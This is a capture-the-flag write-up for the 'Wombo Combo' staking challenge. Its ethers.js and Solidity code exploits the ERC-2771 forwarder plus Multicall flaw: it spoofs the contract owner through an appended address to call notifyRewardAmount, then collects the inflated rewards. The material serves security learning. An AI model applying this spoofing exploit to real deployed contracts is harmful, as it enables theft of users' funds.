README.md

Wombo Combo

description

You should stake your tokens to get more tokens!

goal

We may find the goal of this challenge in the Challenge contract.

function isSolved() external view returns (bool) {
    uint256 amazingNumber = 1128120030438127299645800;
    return staking.earnedTotal() >= amazingNumber &&
        staking.rewardsToken().balanceOf(address(0x123)) >= amazingNumber;
}

solution

This challenge is related to the vulnerability when both Multicall and ERC-2711 are implemented.

Unveiling the ERC-2771 Context and Multicall Vulnerability

We may craft spoofed calls to multicall(bytes[]) and modify the reward in Staking contract.

Before attacking the contract, we may first approve and deposit our stakingToken to the Staking contract.

const stakingToken = await stakingContract.stakingToken();
const stakingTokenContract = await ethers.getContractAt("Token", stakingToken);
const stBalance = await stakingTokenContract.balanceOf(signer);

const approveTx = await stakingTokenContract.approve(stakingAddr, stBalance);
await approveTx.wait();

const stakeTx = await stakingContract.connect(signer).stake(stBalance);
await stakeTx.wait();

Next, we may wrap our spoofed calls and modify the reward.

const types = {
  ForwardRequest: [
    { name: "from", type: "address" },
    { name: "to", type: "address" },
    { name: "value", type: "uint256" },
    { name: "gas", type: "uint256" },
    { name: "nonce", type: "uint256" },
    { name: "deadline", type: "uint256" },
    { name: "data", type: "bytes" },
  ],
};

const domain = {
  name: "Forwarder",
  version: "1",
  chainId: await ethers.provider
    .getNetwork()
    .then((network) => network.chainId),
  verifyingContract: fwderAddr,
};

const victim = await stakingContract.owner();
const data = {
  from: signer.address,
  to: stakingAddr,
  value: 0n,
  gas: 10_00_000n,
  nonce: nonce,
  data: stakingContract.interface.encodeFunctionData("multicall", [
    [
      // since the duration is 60
      ethers.concat([
        stakingContract.interface.encodeFunctionData("notifyRewardAmount", [
          amazingNumber * 60n,
        ]),
        victim,
      ]),
    ],
  ]),
  deadline: 99999999999999n,
};

const sign = await signer.signTypedData(domain, types, data);
const attackTx = await fwderContract.connect(signer).execute(data, sign);
await attackTx.wait();

Next, we may get our rewards and fullfil the first condition of this challenge

const getRtTx = await stakingContract.connect(signer).getReward();
await getRtTx.wait();

const earnTotoal = await stakingContract.earnedTotal();
if (earnTotoal < amazingNumber) {
  console.log("Insufficient earnTotal.");
}

Finally, we need to send the rewardToken to address(0x123). I am not sure how to do this with ethers.js, so I just do this using a Sender contract.

contract Sender {
    Token public rewardToken;

    constructor(address _token){
        rewardToken = Token(_token);
    }

    function pwn() external {
        uint256 amazingNumber = 1128120030438127299645800;
        rewardToken.transferFrom(msg.sender, address(0x123), amazingNumber);
    }
}